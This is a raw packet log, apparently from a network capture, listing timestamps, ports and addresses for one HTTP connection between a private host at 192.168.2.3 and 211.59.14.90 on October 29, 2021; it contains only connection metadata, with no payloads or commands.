Oct 29, 2021 14:10:59.957190037 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.231570005 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231627941 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231671095 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231708050 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231712103 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.231749058 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231790066 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231831074 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231833935 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.231870890 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.231873989 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231914997 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231937885 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.231956005 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.231996059 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.232012033 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.232036114 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.232065916 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.232103109 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.279782057 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.506489038 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506547928 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506587029 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506603956 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.506627083 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506669998 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506678104 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.506710052 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506750107 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506762981 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.506788015 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506819963 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506850958 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506880999 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506911993 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.506918907 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506958961 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.506980896 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.506999016 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507038116 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507052898 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.507077932 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507117987 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507132053 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.507155895 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507193089 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507201910 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.507231951 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507271051 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507280111 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.507311106 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507348061 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507360935 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.507386923 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507419109 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507462025 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.507466078 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507504940 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507519960 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.507546902 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.507592916 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782130957 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782188892 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782227993 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782269001 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782306910 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782345057 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782351971 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782387972 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782402992 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782453060 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782491922 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782510042 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782531977 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782571077 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782597065 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782608032 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782646894 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782675028 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782689095 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782730103 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782756090 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782771111 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782809019 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782846928 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782847881 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782886028 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782922029 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.782923937 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.782963037 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783001900 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783001900 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783041954 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783078909 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783081055 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783121109 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783159018 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783160925 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783198118 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783235073 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783236980 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783267021 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783303976 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783318043 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783344030 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783370018 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783385038 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783421993 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783447027 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783463955 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783503056 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783540010 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783554077 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783580065 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783605099 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783617973 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783658028 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783678055 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783699989 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783737898 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783776045 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783795118 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783813953 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783842087 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783850908 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783890963 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783929110 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.783936024 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.783968925 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.784008026 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.784008026 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.784045935 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:00.784076929 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:00.827012062 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058347940 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058388948 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058418989 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058448076 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058475018 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058487892 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058504105 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058522940 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058532000 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058548927 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058553934 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058573961 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058592081 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058608055 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058612108 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058631897 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058643103 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058651924 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058677912 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058690071 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058696985 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058717966 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058729887 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058737993 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058758020 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058768988 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058779001 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058799982 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058811903 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058819056 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058839083 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058852911 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058859110 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058882952 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058887959 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058913946 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058928967 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.058943987 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058973074 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.058989048 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059012890 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059037924 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059056997 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059057951 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059077024 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059097052 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059108019 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059117079 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059139013 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059149981 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059160948 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059187889 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059190989 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059216022 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059231997 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059240103 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059259892 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059278965 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059289932 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059298992 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059319019 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059335947 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059336901 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059365034 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059370041 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059391975 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059415102 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059428930 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.059434891 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.059464931 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.101898909 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.101953983 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.101972103 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.155219078 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.333780050 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.333832979 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.333872080 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.333910942 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.333910942 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.333961964 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334023952 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334064960 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334100962 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334130049 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334140062 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334180117 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334208965 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334217072 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334255934 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334280014 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334295034 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334331036 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334343910 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334371090 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334409952 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334413052 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334449053 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334489107 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334496021 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334527016 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334564924 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334578991 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334604979 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334640980 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334655046 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334681988 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334718943 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334743023 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334758043 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334798098 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334805965 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334835052 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334872961 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334887981 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334911108 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334947109 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.334960938 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.334985018 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335022926 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335037947 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335062981 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335100889 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335109949 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335174084 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335236073 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335254908 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335294008 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335329056 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335342884 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335366964 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335405111 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335417986 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335444927 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335483074 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335496902 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335520029 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335558891 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335575104 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335597038 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335633039 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335645914 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.335670948 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.335720062 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.378578901 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.378655910 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.378712893 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610009909 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610059023 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610110998 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610120058 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610151052 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610191107 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610208988 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610230923 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610266924 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610281944 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610306978 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610344887 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610362053 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610382080 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610420942 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610459089 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610460997 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610498905 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610507011 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610539913 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610575914 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610594988 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610634089 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610692024 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610707998 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610728979 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610769033 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610791922 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610807896 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610846996 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610866070 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610898972 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610937119 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.610958099 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.610975981 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611012936 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611026049 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611049891 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611095905 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611109972 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611140013 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611179113 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611193895 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611219883 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611255884 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611270905 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611298084 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611351967 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611357927 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611397982 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611433983 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611450911 CEST	50089	80	192.168.2.3	211.59.14.90
